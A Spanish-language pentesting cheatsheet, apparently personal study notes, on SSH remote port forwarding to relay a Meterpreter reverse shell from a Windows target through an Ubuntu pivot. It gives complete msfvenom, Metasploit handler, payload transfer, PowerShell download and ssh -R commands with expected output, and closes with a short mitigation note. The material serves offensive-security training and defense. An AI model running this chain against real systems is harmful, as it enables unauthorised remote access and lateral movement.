> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/remote-reverse-port-forwarding-with-ssh.md).

# Remote/Reverse Port Forwarding with SSH

* A diferencia del **local port forwarding** (SSH escucha en localhost y redirige un servicio remoto a nuestro puerto) y del **dynamic port forwarding** (enviamos paquetes a una red remota vía pivot host), el **remote/reverse port forwarding** permite exponer un servicio local hacia un puerto del host remoto.
* **Escenario:** Tenemos acceso RDP al host Windows A (172.16.5.19), pero este solo tiene salida hacia la red `172.16.5.0/23` — sin conexión directa al attack host (10.10.15.5). El servidor Ubuntu (172.16.5.129) actúa como **pivot host** porque tiene conectividad a ambas redes.
* **Objetivo:** Recibir una reverse shell desde Windows A usando al Ubuntu server como relay, aprovechando SSH remote port forwarding para redirigir el tráfico de vuelta al listener de Metasploit.
* Casos de uso reales donde esto es necesario:
  * RDP clipboard deshabilitado (transferencia de archivos bloqueada)
  * Necesidad de sesión Meterpreter para exploits o enumeración a nivel de Windows API
  * Los ejecutables built-in de Windows no son suficientes para la tarea

***

### Paso 1 — Generar el payload con msfvenom

```bash
msfvenom -p windows/x64/meterpreter/reverse_https lhost=<InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080
```

* `-p windows/x64/meterpreter/reverse_https` — payload HTTPS para evasión básica de firewalls
* `lhost` — IP interna del **Ubuntu pivot** (172.16.5.129), no la del attack host
* `LPORT=8080` — puerto del pivot al que Windows hará el connect-back
* `-f exe` — formato ejecutable Windows
* `-o backupscript.exe` — nombre del archivo de salida

**OpSec: El payload queda escrito a disco en el target (`C:\backupscript.exe`). Sin ofuscación previa, es muy probable que sea detectado por AV/EDR.**

**Output esperado:**

```
Payload size: 712 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe
```

***

### Paso 2 — Configurar el listener en Metasploit (attack host)

```bash
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 8000
msf6 exploit(multi/handler) > run
```

* `lhost 0.0.0.0` — escucha en todas las interfaces del attack host
* `lport 8000` — puerto local donde se recibirá la conexión redirigida desde el pivot
* El listener debe estar activo **antes** de ejecutar el payload en Windows

**Output esperado:**

```
[*] Started HTTPS reverse handler on https://0.0.0.0:8000
```

***

### Paso 3 — Transferir el payload al pivot host

```bash
scp backupscript.exe ubuntu@<ipAddressofTarget>:~/
```

* Copia el payload al home directory del usuario `ubuntu` en el pivot
* Requiere credenciales SSH válidas hacia el Ubuntu server

**Output esperado:**

```
backupscript.exe    100% 7168    65.4KB/s   00:00
```

***

### Paso 4 — Levantar servidor HTTP en el pivot host

Ejecutar en el **Ubuntu server**, en el directorio donde está el payload:

```bash
python3 -m http.server 8123
```

* Sirve el payload vía HTTP en el puerto 8123, accesible desde la red `172.16.5.0/23`

***

### Paso 5 — Descargar el payload en el Windows target

Desde el Windows target (vía RDP):

```powershell
Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"
```

* Descarga el payload desde el pivot usando PowerShell
* **Alternativa:** descarga vía browser si PowerShell está restringido

**OpSec: El archivo queda en `C:\backupscript.exe` — artefacto permanente en disco, detectable por EDR.**

***

### Paso 6 — Crear el SSH Remote Port Forward (desde attack host)

```bash
ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN
```

* `-R <IP_pivot>:<puerto_pivot>:<IP_local>:<puerto_local>` — le indica al Ubuntu server que escuche en `172.16.5.129:8080` y reenvíe todo el tráfico entrante hacia `0.0.0.0:8000` en el attack host
* `-v` — modo verbose para monitorizar el estado del forwarding
* `-N` — no ejecutar shell remoto, solo establecer el forwarding

> **Aclaración de flujo:** Windows A → Ubuntu:8080 → (SSH tunnel) → Attack Host:8000 → Metasploit listener.

***

### Paso 7 — Ejecutar el payload en Windows y verificar los logs del pivot

Una vez ejecutado `backupscript.exe` en Windows A, en el terminal del tunnel SSH verás:

```
debug1: client_request_forwarded_tcpip: listen 172.16.5.129 port 8080, originator 172.16.5.19 port 61355
debug1: connect_next: host 0.0.0.0 ([0.0.0.0]:8000) in progress, fd=5
debug1: channel 1: new [172.16.5.19]
debug1: confirm forwarded-tcpip
debug1: channel 0: free: 172.16.5.19, nchannels 2
debug1: channel 1: connected to 0.0.0.0 port 8000
```

* Confirma que el Ubuntu server recibió la conexión desde Windows A (`172.16.5.19:61355`) y la redirigió correctamente al attack host en el puerto 8000.

***

### Resultado final — Sesión Meterpreter

```
[*] Started HTTPS reverse handler on https://0.0.0.0:8000
[!] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9) Without a database connected that payload UUID tracking will not work!
[*] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (127.0.0.1:8000 -> 127.0.0.1) at 2022-03-02 10:48:10 -0500

meterpreter > shell
Microsoft Windows [Version 10.0.17763.1637]
C:\>
```

* La sesión aparece como `127.0.0.1 → 127.0.0.1` (loopback) porque la conexión llega a través del socket SSH local — comportamiento **esperado y normal**.
* Para confirmar el origen real del tráfico, ejecutar `netstat` dentro de la sesión: mostrará que la conexión proviene del servicio SSH.
* El warning `Without a database connected` no afecta la funcionalidad del shell; solo impide el UUID tracking de payloads.

***

### Mitigación

* **Remediación:** Deshabilitar `AllowTcpForwarding` y `GatewayPorts` en `/etc/ssh/sshd_config` del servidor SSH para evitar que usuarios autenticados creen port forwards arbitrarios. Monitorizar conexiones SSH con el flag `-R` como indicador de comportamiento anómalo (lateral movement/pivoting).


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/remote-reverse-port-forwarding-with-ssh.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
